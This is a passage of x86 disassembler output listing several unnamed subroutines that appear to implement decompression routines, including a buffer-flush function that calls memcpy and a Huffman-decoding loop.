0806ad5c  29 f8           sub    %edi,%eax
0806ad5e  48              dec    %eax
0806ad5f  89 45 e4        mov    %eax,0xffffffe4(%ebp)
0806ad62  8b 45 08        mov    0x8(%ebp),%eax
0806ad65  8b 48 28        mov    0x28(%eax),%ecx
0806ad68  eb 0e           jmp    0806ad78 <Unknown0447+0x59c>
0806ad6a  89 f6           mov    %esi,%esi
0806ad6c  8b 45 08        mov    0x8(%ebp),%eax
0806ad6f  8b 48 28        mov    0x28(%eax),%ecx
0806ad72  89 4d e4        mov    %ecx,0xffffffe4(%ebp)
0806ad75  29 7d e4        sub    %edi,0xffffffe4(%ebp)
0806ad78  39 cf           cmp    %ecx,%edi
0806ad7a  75 21           jne    0806ad9d <Unknown0447+0x5c1>
0806ad7c  8b 45 08        mov    0x8(%ebp),%eax
0806ad7f  8b 40 24        mov    0x24(%eax),%eax
0806ad82  39 c2           cmp    %eax,%edx
0806ad84  89 45 d4        mov    %eax,0xffffffd4(%ebp)
0806ad87  74 14           je     0806ad9d <Unknown0447+0x5c1>
0806ad89  89 c7           mov    %eax,%edi
0806ad8b  39 d7           cmp    %edx,%edi
0806ad8d  73 09           jae    0806ad98 <Unknown0447+0x5bc>
0806ad8f  29 fa           sub    %edi,%edx
0806ad91  4a              dec    %edx
0806ad92  89 55 e4        mov    %edx,0xffffffe4(%ebp)
0806ad95  eb 06           jmp    0806ad9d <Unknown0447+0x5c1>
0806ad97  90              nop
0806ad98  29 f9           sub    %edi,%ecx
0806ad9a  89 4d e4        mov    %ecx,0xffffffe4(%ebp)
```

```
0806ad9d   8b 55 e4               mov     0xffffffe4(%ebp),%edx
0806ada0   85 d2                  test    %edx,%edx
0806ada2   0f 84 7c fa ff ff      je      0806a824 <Unknown0447+0x48>    ;-1412 'x7c xfa xff xff' "|"
0806ada8   8b 55 e0               mov     0xffffffe0(%ebp),%edx
0806adab   c7 45 10 00 00 00 00   movl    $0x0,0x10(%ebp)    ;0 'x0 x0 x0 x0' ""
0806adb2   8a 02                  mov     (%edx),%al
0806adb4   88 07                  mov     %al,(%edi)
0806adb6   42                     inc     %edx
0806adb7   89 55 e0               mov     %edx,0xffffffe0(%ebp)
0806adba   ff 4d e4               decl    0xffffffe4(%ebp)
0806adbd   8b 4d 08               mov     0x8(%ebp),%ecx
0806adc0   47                     inc     %edi
0806adc1   3b 51 28               cmp     0x28(%ecx),%edx
0806adc4   75 06                  jne     0806adcc <Unknown0447+0x5f0>
0806adc6   8b 41 24               mov     0x24(%ecx),%eax
0806adc9   89 45 e0               mov     %eax,0xffffffe0(%ebp)
0806adcc   8b 43 04               mov     0x4(%ebx),%eax
0806adcf   48                     dec     %eax
0806add0   85 c0                  test    %eax,%eax
0806add2   89 43 04               mov     %eax,0x4(%ebx)
0806add5   0f 85 11 ff ff ff      jne     0806acec <Unknown0447+0x510>   ;-239 'x11 xff xff xff' ""
0806addb   e9 cc 00 00 00         jmp     0806aeac <Unknown0447+0x6d0>   ;204 'xcc x0 x0 x0' ""
0806ade0   8b 45 e4               mov     0xffffffe4(%ebp),%eax
0806ade3   85 c0                  test    %eax,%eax
0806ade5   0f 85 b1 00 00 00      jne     0806ae9c <Unknown0447+0x6c0>   ;177 'xb1 x0 x0 x0' ""
0806adeb   8b 55 08               mov     0x8(%ebp),%edx
0806adee   8b 4a 28               mov     0x28(%edx),%ecx
0806adf1   39 cf                  cmp     %ecx,%edi
0806adf3   75 2c                  jne     0806ae21 <Unknown0447+0x645>
0806adf5   8b 42 2c               mov     0x2c(%edx),%eax
0806adf8   89 45 d4               mov     %eax,0xffffffd4(%ebp)
0806adfb   8b 42 24               mov     0x24(%edx),%eax
0806adfe   39 45 d4               cmp     %eax,0xffffffd4(%ebp)
0806ae01   89 45 d8               mov     %eax,0xffffffd8(%ebp)
0806ae04   74 1b                  je      0806ae21 <Unknown0447+0x645>
0806ae06   89 c7                  mov     %eax,%edi
0806ae08   3b 7d d4               cmp     0xffffffd4(%ebp),%edi
0806ae0b   73 0f                  jae     0806ae1c <Unknown0447+0x640>
0806ae0d   29 7d d4               sub     %edi,0xffffffd4(%ebp)
0806ae10   8b 55 d4               mov     0xffffffd4(%ebp),%edx
0806ae13   4a                     dec     %edx
0806ae14   89 55 e4               mov     %edx,0xffffffe4(%ebp)
0806ae17   eb 08                  jmp     0806ae21 <Unknown0447+0x645>
0806ae19   8d 76 00               lea     0x0(%esi),%esi
0806ae1c   29 f9                  sub     %edi,%ecx
0806ae1e   89 4d e4               mov     %ecx,0xffffffe4(%ebp)
0806ae21   8b 4d e4               mov     0xffffffe4(%ebp),%ecx
0806ae24   85 c9                  test    %ecx,%ecx
0806ae26   75 74                  jne     0806ae9c <Unknown0447+0x6c0>
0806ae28   8b 4d 08               mov     0x8(%ebp),%ecx
0806ae2b   89 79 30               mov     %edi,0x30(%ecx)
0806ae2e   52                     push    %edx
0806ae2f   ff 75 10               pushl   0x10(%ebp)
0806ae32   ff 75 0c               pushl   0xc(%ebp)
0806ae35   51                     push    %ecx
0806ae36   e8 65 01 00 00         call    0806afa0 <Unknown0449>
0806ae3b   89 45 10               mov     %eax,0x10(%ebp)
0806ae3e   8b 45 08               mov     0x8(%ebp),%eax
0806ae41   8b 78 30               mov     0x30(%eax),%edi
0806ae44   8b 50 2c               mov     0x2c(%eax),%edx
0806ae47   83 c4 10               add     $0x10,%esp
0806ae4a   39 d7                  cmp     %edx,%edi
0806ae4c   73 12                  jae     0806ae60 <Unknown0447+0x684>
0806ae4e   89 d0                  mov     %edx,%eax
0806ae50   29 f8                  sub     %edi,%eax
0806ae52   48                     dec     %eax
0806ae53   89 45 e4               mov     %eax,0xffffffe4(%ebp)
0806ae56   8b 45 08               mov     0x8(%ebp),%eax
0806ae59   8b 48 28               mov     0x28(%eax),%ecx
0806ae5c   eb 0e                  jmp     0806ae6c <Unknown0447+0x690>
0806ae5e   89 f6                  mov     %esi,%esi
0806ae60   8b 45 08               mov     0x8(%ebp),%eax
0806ae63   8b 48 28               mov     0x28(%eax),%ecx
0806ae66   89 4d e4               mov     %ecx,0xffffffe4(%ebp)
0806ae69   29 7d e4               sub     %edi,0xffffffe4(%ebp)
0806ae6c   39 cf                  cmp     %ecx,%edi
0806ae6e   75 21                  jne     0806ae91 <Unknown0447+0x6b5>
0806ae70   8b 45 08               mov     0x8(%ebp),%eax
0806ae73   8b 40 24               mov     0x24(%eax),%eax
0806ae76   39 c2                  cmp     %eax,%edx
0806ae78   89 45 d4               mov     %eax,0xffffffd4(%ebp)
0806ae7b   74 14                  je      0806ae91 <Unknown0447+0x6b5>
0806ae7d   89 c7                  mov     %eax,%edi
0806ae7f   39 d7                  cmp     %edx,%edi
```

```
0806ae81  73 09                jae     0806ae8c <Unknown0447+0x6b0>
0806ae83  29 fa                sub     %edi,%edx
0806ae85  4a                   dec     %edx
0806ae86  89 55 e4             mov     %edx,0xffffffe4(%ebp)
0806ae89  eb 06                jmp     0806ae91 <Unknown0447+0x6b5>
0806ae8b  90                   nop
0806ae8c  29 f9                sub     %edi,%ecx
0806ae8e  89 4d e4             mov     %ecx,0xffffffe4(%ebp)
0806ae91  8b 45 e4             mov     0xffffffe4(%ebp),%eax
0806ae94  85 c0                test    %eax,%eax
0806ae96  0f 84 b4 f9 ff ff    je      0806a850 <Unknown0447+0x74>   ;-1612 'xb4 xf9 xff xff' ""
0806ae9c  8a 43 08             mov     0x8(%ebx),%al
0806ae9f  c7 45 10 00 00 00 00 movl    $0x0,0x10(%ebp)   ;0 'x0 x0 x0 x0' ""
0806aea6  88 07                mov     %al,(%edi)
0806aea8  ff 4d e4             decl    0xffffffe4(%ebp)
0806aeab  47                   inc     %edi
0806aeac  c7 03 00 00 00 00    movl    $0x0,(%ebx)   ;0 'x0 x0 x0 x0' ""
0806aeb2  e9 0d fa ff ff       jmp     0806a8c4 <Unknown0447+0xe8>   ;-1523 'xd xfa xff xff' ""
0806aeb7  90                   nop
0806aeb8  8b 55 08             mov     0x8(%ebp),%edx
0806aebb  89 7a 30             mov     %edi,0x30(%edx)
0806aebe  57                   push    %edi
0806aebf  ff 75 10             pushl   0x10(%ebp)
0806aec2  ff 75 0c             pushl   0xc(%ebp)
0806aec5  52                   push    %edx
0806aec6  e8 d5 00 00 00       call    0806afa0 <Unknown0449>
0806aecb  8b 4d 08             mov     0x8(%ebp),%ecx
0806aece  89 45 10             mov     %eax,0x10(%ebp)
0806aed1  8b 79 30             mov     0x30(%ecx),%edi
0806aed4  8b 41 2c             mov     0x2c(%ecx),%eax
0806aed7  83 c4 10             add     $0x10,%esp
0806aeda  39 f8                cmp     %edi,%eax
0806aedc  0f 85 9a f9 ff ff    jne     0806a87c <Unknown0447+0xa0>   ;-1638 'x9a xf9 xff xff' ""
0806aee2  c7 03 08 00 00 00    movl    $0x8,(%ebx)   ;8 'x8 x0 x0 x0' ""
0806aee8  8b 55 f0             mov     0xfffffff0(%ebp),%edx
0806aeeb  8b 45 08             mov     0x8(%ebp),%eax
0806aeee  89 50 20             mov     %edx,0x20(%eax)
0806aef1  89 70 1c             mov     %esi,0x1c(%eax)
0806aef4  8b 4d 0c             mov     0xc(%ebp),%ecx
0806aef7  8b 45 e8             mov     0xffffffe8(%ebp),%eax
0806aefa  89 41 04             mov     %eax,0x4(%ecx)
0806aefd  8b 45 ec             mov     0xffffffec(%ebp),%eax
0806af00  2b 01                sub     (%ecx),%eax
0806af02  01 41 08             add     %eax,0x8(%ecx)
0806af05  8b 55 ec             mov     0xffffffec(%ebp),%edx
0806af08  89 11                mov     %edx,(%ecx)
0806af0a  8b 4d 08             mov     0x8(%ebp),%ecx
0806af0d  89 79 30             mov     %edi,0x30(%ecx)
0806af10  53                   push    %ebx
0806af11  6a 01                push    $0x1
0806af13  eb 2e                jmp     0806af43 <Unknown0447+0x767>
0806af15  8d 76 00             lea     0x0(%esi),%esi
0806af18  8b 55 f0             mov     0xfffffff0(%ebp),%edx
0806af1b  8b 45 08             mov     0x8(%ebp),%eax
0806af1e  89 50 20             mov     %edx,0x20(%eax)
0806af21  89 70 1c             mov     %esi,0x1c(%eax)
0806af24  8b 4d 0c             mov     0xc(%ebp),%ecx
0806af27  8b 45 e8             mov     0xffffffe8(%ebp),%eax
0806af2a  89 41 04             mov     %eax,0x4(%ecx)
0806af2d  8b 45 ec             mov     0xffffffec(%ebp),%eax
0806af30  2b 01                sub     (%ecx),%eax
0806af32  01 41 08             add     %eax,0x8(%ecx)
0806af35  8b 55 ec             mov     0xffffffec(%ebp),%edx
0806af38  89 11                mov     %edx,(%ecx)
0806af3a  8b 4d 08             mov     0x8(%ebp),%ecx
0806af3d  89 79 30             mov     %edi,0x30(%ecx)
0806af40  52                   push    %edx
0806af41  6a fd                push    $0xfffffffd
0806af43  ff 75 0c             pushl   0xc(%ebp)
0806af46  51                   push    %ecx
0806af47  e8 54 00 00 00       call    0806afa0 <Unknown0449>
0806af4c  eb 36                jmp     0806af84 <Unknown0447+0x7a8>
0806af4e  89 f6                mov     %esi,%esi
0806af50  8b 55 f0             mov     0xfffffff0(%ebp),%edx
0806af53  8b 45 08             mov     0x8(%ebp),%eax
0806af56  89 50 20             mov     %edx,0x20(%eax)
0806af59  89 70 1c             mov     %esi,0x1c(%eax)
0806af5c  8b 4d 0c             mov     0xc(%ebp),%ecx
0806af5f  8b 45 e8             mov     0xffffffe8(%ebp),%eax
0806af62  89 41 04             mov     %eax,0x4(%ecx)
0806af65  8b 45 ec             mov     0xffffffec(%ebp),%eax
0806af68  2b 01                sub     (%ecx),%eax
0806af6a  01 41 08             add     %eax,0x8(%ecx)
0806af6d  8b 55 ec             mov     0xffffffec(%ebp),%edx
```

```
0806af70  89 11              mov     %edx,(%ecx)
0806af72  8b 4d 08           mov     0x8(%ebp),%ecx
0806af75  89 79 30           mov     %edi,0x30(%ecx)
0806af78  50                 push    %eax
0806af79  6a fe              push    $0xfffffffe
0806af7b  ff 75 0c           pushl   0xc(%ebp)
0806af7e  51                 push    %ecx
0806af7f  e8 1c 00 00 00     call    0806afa0 <Unknown0449>
0806af84  8d 65 f4           lea     0xfffffff4(%ebp),%esp
0806af87  5b                 pop     %ebx
0806af88  5e                 pop     %esi
0806af89  5f                 pop     %edi
0806af8a  5d                 pop     %ebp
0806af8b  c3                 ret
```

```
    ;
    ; >--------------------< Subroutine # 448 >--------------------<
    ;
0806af8c <Unknown0448>:
0806af8c  55                 push    %ebp
0806af8d  89 e5              mov     %esp,%ebp
0806af8f  83 ec 10           sub     $0x10,%esp
0806af92  ff 75 08           pushl   0x8(%ebp)
0806af95  8b 45 0c           mov     0xc(%ebp),%eax
0806af98  ff 70 28           pushl   0x28(%eax)
0806af9b  ff 50 24           call    *0x24(%eax)
0806af9e  c9                 leave
0806af9f  c3                 ret
```

```
    ;
    ; >--------------------< Subroutine # 449 >--------------------<
    ;
0806afa0 <Unknown0449>:
0806afa0  55                 push    %ebp
0806afa1  89 e5              mov     %esp,%ebp
0806afa3  57                 push    %edi
0806afa4  56                 push    %esi
0806afa5  53                 push    %ebx
0806afa6  83 ec 0c           sub     $0xc,%esp
0806afa9  8b 45 0c           mov     0xc(%ebp),%eax
0806afac  8b 55 08           mov     0x8(%ebp),%edx
0806afaf  8b 78 0c           mov     0xc(%eax),%edi
0806afb2  8b 72 2c           mov     0x2c(%edx),%esi
0806afb5  8b 42 30           mov     0x30(%edx),%eax
0806afb8  39 c6              cmp     %eax,%esi
0806afba  77 04              ja      0806afc0 <Unknown0449+0x20>
0806afbc  89 c3              mov     %eax,%ebx
0806afbe  eb 06              jmp     0806afc6 <Unknown0449+0x26>
0806afc0  8b 4d 08           mov     0x8(%ebp),%ecx
0806afc3  8b 59 28           mov     0x28(%ecx),%ebx
0806afc6  29 f3              sub     %esi,%ebx
0806afc8  8b 45 0c           mov     0xc(%ebp),%eax
0806afcb  8b 50 10           mov     0x10(%eax),%edx
0806afce  39 d3              cmp     %edx,%ebx
0806afd0  76 02              jbe     0806afd4 <Unknown0449+0x34>
0806afd2  89 d3              mov     %edx,%ebx
0806afd4  85 db              test    %ebx,%ebx
0806afd6  74 0d              je      0806afe5 <Unknown0449+0x45>
0806afd8  31 c0              xor     %eax,%eax
0806afda  83 7d 10 fb        cmpl    $0xfffffffb,0x10(%ebp)
0806afde  0f 94 c0           sete    %al
0806afe1  48                 dec     %eax
0806afe2  21 45 10           and     %eax,0x10(%ebp)
0806afe5  29 da              sub     %ebx,%edx
0806afe7  8b 4d 0c           mov     0xc(%ebp),%ecx
0806afea  89 51 10           mov     %edx,0x10(%ecx)
0806afed  8b 55 08           mov     0x8(%ebp),%edx
0806aff0  8b 42 34           mov     0x34(%edx),%eax
0806aff3  01 59 14           add     %ebx,0x14(%ecx)
0806aff6  85 c0              test    %eax,%eax
0806aff8  74 17              je      0806b011 <Unknown0449+0x71>
0806affa  51                 push    %ecx
0806affb  53                 push    %ebx
0806affc  56                 push    %esi
0806affd  ff 72 38           pushl   0x38(%edx)
0806b000  ff d0              call    *%eax
0806b002  8b 4d 08           mov     0x8(%ebp),%ecx
0806b005  8b 55 0c           mov     0xc(%ebp),%edx
0806b008  89 41 38           mov     %eax,0x38(%ecx)
0806b00b  83 c4 10           add     $0x10,%esp
0806b00e  89 42 30           mov     %eax,0x30(%edx)
0806b011  50                 push    %eax
```

```
0806b012  53                       push    %ebx
0806b013  56                       push    %esi
0806b014  57                       push    %edi
0806b015  e8 22 f2 fd ff           call    0804a23c <memcpy>
0806b01a  8b 4d 08                 mov     0x8(%ebp),%ecx
0806b01d  01 de                    add     %ebx,%esi
0806b01f  8b 51 28                 mov     0x28(%ecx),%edx
0806b022  01 df                    add     %ebx,%edi
0806b024  83 c4 10                 add     $0x10,%esp
0806b027  39 d6                    cmp     %edx,%esi
0806b029  75 6c                    jne     0806b097 <Unknown0449+0xf7>
0806b02b  8b 41 30                 mov     0x30(%ecx),%eax
0806b02e  39 d0                    cmp     %edx,%eax
0806b030  8b 71 24                 mov     0x24(%ecx),%esi
0806b033  75 05                    jne     0806b03a <Unknown0449+0x9a>
0806b035  89 71 30                 mov     %esi,0x30(%ecx)
0806b038  89 f0                    mov     %esi,%eax
0806b03a  89 c3                    mov     %eax,%ebx
0806b03c  8b 45 0c                 mov     0xc(%ebp),%eax
0806b03f  29 f3                    sub     %esi,%ebx
0806b041  8b 50 10                 mov     0x10(%eax),%edx
0806b044  39 d3                    cmp     %edx,%ebx
0806b046  76 02                    jbe     0806b04a <Unknown0449+0xaa>
0806b048  89 d3                    mov     %edx,%ebx
0806b04a  85 db                    test    %ebx,%ebx
0806b04c  74 0d                    je      0806b05b <Unknown0449+0xbb>
0806b04e  31 c0                    xor     %eax,%eax
0806b050  83 7d 10 fb              cmpl    $0xfffffffb,0x10(%ebp)
0806b054  0f 94 c0                 sete    %al
0806b057  48                       dec     %eax
0806b058  21 45 10                 and     %eax,0x10(%ebp)
0806b05b  29 da                    sub     %ebx,%edx
0806b05d  8b 4d 0c                 mov     0xc(%ebp),%ecx
0806b060  89 51 10                 mov     %edx,0x10(%ecx)
0806b063  8b 55 08                 mov     0x8(%ebp),%edx
0806b066  8b 42 34                 mov     0x34(%edx),%eax
0806b069  01 59 14                 add     %ebx,0x14(%ecx)
0806b06c  85 c0                    test    %eax,%eax
0806b06e  74 17                    je      0806b087 <Unknown0449+0xe7>
0806b070  51                       push    %ecx
0806b071  53                       push    %ebx
0806b072  56                       push    %esi
0806b073  ff 72 38                 pushl   0x38(%edx)
0806b076  ff d0                    call    *%eax
0806b078  8b 4d 08                 mov     0x8(%ebp),%ecx
0806b07b  8b 55 0c                 mov     0xc(%ebp),%edx
0806b07e  89 41 38                 mov     %eax,0x38(%ecx)
0806b081  83 c4 10                 add     $0x10,%esp
0806b084  89 42 30                 mov     %eax,0x30(%edx)
0806b087  50                       push    %eax
0806b088  53                       push    %ebx
0806b089  56                       push    %esi
0806b08a  57                       push    %edi
0806b08b  e8 ac f1 fd ff           call    0804a23c <memcpy>
0806b090  01 df                    add     %ebx,%edi
0806b092  01 de                    add     %ebx,%esi
0806b094  83 c4 10                 add     $0x10,%esp
0806b097  8b 4d 0c                 mov     0xc(%ebp),%ecx
0806b09a  8b 45 08                 mov     0x8(%ebp),%eax
0806b09d  89 79 0c                 mov     %edi,0xc(%ecx)
0806b0a0  89 70 2c                 mov     %esi,0x2c(%eax)
0806b0a3  8b 45 10                 mov     0x10(%ebp),%eax
0806b0a6  8d 65 f4                 lea     0xfffffff4(%ebp),%esp
0806b0a9  5b                       pop     %ebx
0806b0aa  5e                       pop     %esi
0806b0ab  5f                       pop     %edi
0806b0ac  5d                       pop     %ebp
0806b0ad  c3                       ret
0806b0ae  89 f6                    mov     %esi,%esi


  ;
  ; >---------------------<  Subroutine # 450 >---------------------<
  ;
0806b0b0 <Unknown0450>:
0806b0b0  55                       push    %ebp
0806b0b1  89 e5                    mov     %esp,%ebp
0806b0b3  57                       push    %edi
0806b0b4  56                       push    %esi
0806b0b5  53                       push    %ebx
0806b0b6  83 ec 20                 sub     $0x20,%esp
0806b0b9  8b 45 1c                 mov     0x1c(%ebp),%eax
0806b0bc  8b 00                    mov     (%eax),%eax
0806b0be  89 45 ec                 mov     %eax,0xffffffec(%ebp)
```

```
0806b0c1  8b 45 1c        mov     0x1c(%ebp),%eax
0806b0c4  8b 40 04        mov     0x4(%eax),%eax
0806b0c7  89 45 e8        mov     %eax,0xffffffe8(%ebp)
0806b0ca  8b 45 18        mov     0x18(%ebp),%eax
0806b0cd  8b 40 20        mov     0x20(%eax),%eax
0806b0d0  89 45 f0        mov     %eax,0xfffffff0(%ebp)
0806b0d3  8b 55 18        mov     0x18(%ebp),%edx
0806b0d6  8b 42 30        mov     0x30(%edx),%eax
0806b0d9  8b 7a 1c        mov     0x1c(%edx),%edi
0806b0dc  89 45 e4        mov     %eax,0xffffffe4(%ebp)
0806b0df  8b 42 2c        mov     0x2c(%edx),%eax
0806b0e2  39 45 e4        cmp     %eax,0xffffffe4(%ebp)
0806b0e5  73 55           jae     0806b13c <Unknown0450+0x8c>
0806b0e7  2b 45 e4        sub     0xffffffe4(%ebp),%eax
0806b0ea  48              dec     %eax
0806b0eb  eb 5a           jmp     0806b147 <Unknown0450+0x97>
0806b0ed  8d 76 00        lea     0x0(%esi),%esi
0806b0f0  89 7d d4        mov     %edi,0xffffffd4(%ebp)
0806b0f3  c1 6d d4 03     shrl    $0x3,0xffffffd4(%ebp)
0806b0f7  8b 55 d4        mov     0xffffffd4(%ebp),%edx
0806b0fa  8b 5d f0        mov     0xfffffff0(%ebp),%ebx
0806b0fd  8b 4d 18        mov     0x18(%ebp),%ecx
0806b100  83 e7 07        and     $0x7,%edi
0806b103  29 55 ec        sub     %edx,0xffffffec(%ebp)
0806b106  01 55 e8        add     %edx,0xffffffe8(%ebp)
0806b109  89 79 1c        mov     %edi,0x1c(%ecx)
0806b10c  89 59 20        mov     %ebx,0x20(%ecx)
0806b10f  8b 55 e8        mov     0xffffffe8(%ebp),%edx
0806b112  8b 45 1c        mov     0x1c(%ebp),%eax
0806b115  89 50 04        mov     %edx,0x4(%eax)
0806b118  8b 45 ec        mov     0xffffffec(%ebp),%eax
0806b11b  8b 4d 1c        mov     0x1c(%ebp),%ecx
0806b11e  2b 01           sub     (%ecx),%eax
0806b120  01 41 08        add     %eax,0x8(%ecx)
0806b123  8b 5d ec        mov     0xffffffec(%ebp),%ebx
0806b126  89 19           mov     %ebx,(%ecx)
0806b128  8b 45 18        mov     0x18(%ebp),%eax
0806b12b  8b 55 e4        mov     0xffffffe4(%ebp),%edx
0806b12e  89 50 30        mov     %edx,0x30(%eax)
0806b131  b8 01 00 00 00  mov     $0x1,%eax      ;1 'x1 x0 x0 x0' ""
0806b136  e9 00 03 00 00  jmp     0806b43b <Unknown0450+0x38b>   ;768 'x0 x3 x0 x0' ""
0806b13b  90              nop
0806b13c  8b 45 18        mov     0x18(%ebp),%eax
0806b13f  8b 40 28        mov     0x28(%eax),%eax
0806b142  8b 55 e4        mov     0xffffffe4(%ebp),%edx
0806b145  29 d0           sub     %edx,%eax
0806b147  89 45 e0        mov     %eax,0xffffffe0(%ebp)
0806b14a  b9 80 98 07 08  mov     $0x8079880,%ecx  ;[in .data] 0 'x0 x0 x0 x0' ""
0806b14f  8b 55 08        mov     0x8(%ebp),%edx
0806b152  8b 04 91        mov     (%ecx,%edx,4),%eax
0806b155  89 45 dc        mov     %eax,0xffffffdc(%ebp)
0806b158  8b 55 0c        mov     0xc(%ebp),%edx
0806b15b  8b 04 91        mov     (%ecx,%edx,4),%eax
0806b15e  89 45 d8        mov     %eax,0xffffffd8(%ebp)
0806b161  8d 76 00        lea     0x0(%esi),%esi
0806b164  83 ff 13        cmp     $0x13,%edi
0806b167  77 1f           ja      0806b188 <Unknown0450+0xd8>
0806b169  8d 76 00        lea     0x0(%esi),%esi
0806b16c  8b 55 ec        mov     0xffffffec(%ebp),%edx
0806b16f  ff 4d e8        decl    0xffffffe8(%ebp)
0806b172  0f b6 02        movzbl  (%edx),%eax
0806b175  89 f9           mov     %edi,%ecx
0806b177  d3 e0           shl     %cl,%eax
0806b179  83 c7 08        add     $0x8,%edi
0806b17c  42              inc     %edx
0806b17d  09 45 f0        or      %eax,0xfffffff0(%ebp)
0806b180  83 ff 13        cmp     $0x13,%edi
0806b183  89 55 ec        mov     %edx,0xffffffec(%ebp)
0806b186  76 e4           jbe     0806b16c <Unknown0450+0xbc>
0806b188  8b 45 f0        mov     0xfffffff0(%ebp),%eax
0806b18b  23 45 dc        and     0xffffffdc(%ebp),%eax
0806b18e  8b 5d 10        mov     0x10(%ebp),%ebx
0806b191  8d 34 c3        lea     (%ebx,%eax,8),%esi
0806b194  0f b6 16        movzbl  (%esi),%edx
0806b197  85 d2           test    %edx,%edx
0806b199  75 1d           jne     0806b1b8 <Unknown0450+0x108>
0806b19b  0f b6 4e 01     movzbl  0x1(%esi),%ecx
0806b19f  d3 6d f0        shrl    %cl,0xfffffff0(%ebp)
0806b1a2  8a 46 04        mov     0x4(%esi),%al
0806b1a5  8b 55 e4        mov     0xffffffe4(%ebp),%edx
0806b1a8  88 02           mov     %al,(%edx)
0806b1aa  42              inc     %edx
0806b1ab  29 cf           sub     %ecx,%edi
0806b1ad  89 55 e4        mov     %edx,0xffffffe4(%ebp)
```

```
0806b1b0  ff 4d e0              decl    0xffffffe0(%ebp)
0806b1b3  e9 30 02 00 00        jmp     0806b3e8 <Unknown0450+0x338>  ;560 'x30 x2 x0 x0' "0"
0806b1b8  0f b6 4e 01           movzbl  0x1(%esi),%ecx
0806b1bc  d3 6d f0              shrl    %cl,0xfffffff0(%ebp)
0806b1bf  29 cf                 sub     %ecx,%edi
0806b1c1  f7 c2 10 00 00 00     test    $0x10,%edx  ;16 'x10 x0 x0 x0' ""
0806b1c7  0f 84 83 01 00 00     je      0806b350 <Unknown0450+0x2a0>  ;387 'x83 x1 x0 x0' ""
0806b1cd  83 e2 0f              and     $0xf,%edx
0806b1d0  8b 4d f0              mov     0xfffffff0(%ebp),%ecx
0806b1d3  89 4d d4              mov     %ecx,0xffffffd4(%ebp)
0806b1d6  8b 1c 95 80 98 07 08  mov     0x8079880(,%edx,4),%ebx  ;[in .data] 0 'x0 x0 x0 x0' ""
0806b1dd  21 5d d4              and     %ebx,0xffffffd4(%ebp)
0806b1e0  8b 76 04              mov     0x4(%esi),%esi
0806b1e3  88 d1                 mov     %dl,%cl
0806b1e5  29 d7                 sub     %edx,%edi
0806b1e7  01 75 d4              add     %esi,0xffffffd4(%ebp)
0806b1ea  d3 6d f0              shrl    %cl,0xfffffff0(%ebp)
0806b1ed  83 ff 0e              cmp     $0xe,%edi
0806b1f0  77 1e                 ja      0806b210 <Unknown0450+0x160>
0806b1f2  89 f6                 mov     %esi,%esi
0806b1f4  8b 5d ec              mov     0xffffffec(%ebp),%ebx
0806b1f7  ff 4d e8              decl    0xffffffe8(%ebp)
0806b1fa  0f b6 03              movzbl  (%ebx),%eax
0806b1fd  89 f9                 mov     %edi,%ecx
0806b1ff  d3 e0                 shl     %cl,%eax
0806b201  83 c7 08              add     $0x8,%edi
0806b204  43                    inc     %ebx
0806b205  09 45 f0              or      %eax,0xfffffff0(%ebp)
0806b208  83 ff 0e              cmp     $0xe,%edi
0806b20b  89 5d ec              mov     %ebx,0xffffffec(%ebp)
0806b20e  76 e4                 jbe     0806b1f4 <Unknown0450+0x144>
0806b210  8b 45 f0              mov     0xfffffff0(%ebp),%eax
0806b213  23 45 d8              and     0xffffffd8(%ebp),%eax
0806b216  8b 5d 14              mov     0x14(%ebp),%ebx
0806b219  8d 34 c3              lea     (%ebx,%eax,8),%esi
0806b21c  0f b6 16              movzbl  (%esi),%edx
0806b21f  0f b6 4e 01           movzbl  0x1(%esi),%ecx
0806b223  d3 6d f0              shrl    %cl,0xfffffff0(%ebp)
0806b226  29 cf                 sub     %ecx,%edi
0806b228  f7 c2 10 00 00 00     test    $0x10,%edx  ;16 'x10 x0 x0 x0' ""
0806b22e  0f 84 ac 00 00 00     je      0806b2e0 <Unknown0450+0x230>  ;172 'xac x0 x0 x0' ""
0806b234  83 e2 0f              and     $0xf,%edx
0806b237  39 d7                 cmp     %edx,%edi
0806b239  73 1b                 jae     0806b256 <Unknown0450+0x1a6>
0806b23b  90                    nop
0806b23c  8b 4d ec              mov     0xffffffec(%ebp),%ecx
0806b23f  ff 4d e8              decl    0xffffffe8(%ebp)
0806b242  0f b6 01              movzbl  (%ecx),%eax
0806b245  89 f9                 mov     %edi,%ecx
0806b247  d3 e0                 shl     %cl,%eax
0806b249  83 c7 08              add     $0x8,%edi
0806b24c  09 45 f0              or      %eax,0xfffffff0(%ebp)
0806b24f  ff 45 ec              incl    0xffffffec(%ebp)
0806b252  39 d7                 cmp     %edx,%edi
0806b254  72 e6                 jb      0806b23c <Unknown0450+0x18c>
0806b256  8b 5d f0              mov     0xfffffff0(%ebp),%ebx
0806b259  23 1c 95 80 98 07 08  and     0x8079880(,%edx,4),%ebx  ;[in .data] 0 'x0 x0 x0 x0' ""
0806b260  88 d1                 mov     %dl,%cl
0806b262  8b 45 d4              mov     0xffffffd4(%ebp),%eax
0806b265  03 5e 04              add     0x4(%esi),%ebx
0806b268  29 d7                 sub     %edx,%edi
0806b26a  29 45 e0              sub     %eax,0xffffffe0(%ebp)
0806b26d  d3 6d f0              shrl    %cl,0xfffffff0(%ebp)
0806b270  8b 45 e4              mov     0xffffffe4(%ebp),%eax
0806b273  8b 55 18              mov     0x18(%ebp),%edx
0806b276  2b 42 24              sub     0x24(%edx),%eax
0806b279  39 d8                 cmp     %ebx,%eax
0806b27b  72 1f                 jb      0806b29c <Unknown0450+0x1ec>
0806b27d  8b 4d e4              mov     0xffffffe4(%ebp),%ecx
0806b280  29 d9                 sub     %ebx,%ecx
0806b282  8a 01                 mov     (%ecx),%al
0806b284  8b 5d e4              mov     0xffffffe4(%ebp),%ebx
0806b287  88 03                 mov     %al,(%ebx)
0806b289  41                    inc     %ecx
0806b28a  8a 01                 mov     (%ecx),%al
0806b28c  43                    inc     %ebx
0806b28d  88 03                 mov     %al,(%ebx)
0806b28f  43                    inc     %ebx
0806b290  41                    inc     %ecx
0806b291  89 5d e4              mov     %ebx,0xffffffe4(%ebp)
0806b294  83 6d d4 02           subl    $0x2,0xffffffd4(%ebp)
0806b298  eb 2e                 jmp     0806b2c8 <Unknown0450+0x218>
0806b29a  89 f6                 mov     %esi,%esi
0806b29c  89 da                 mov     %ebx,%edx
```

```
0806b29e   29 c2                   sub    %eax,%edx
0806b2a0   8b 45 18                mov    0x18(%ebp),%eax
0806b2a3   8b 48 28                mov    0x28(%eax),%ecx
0806b2a6   29 d1                   sub    %edx,%ecx
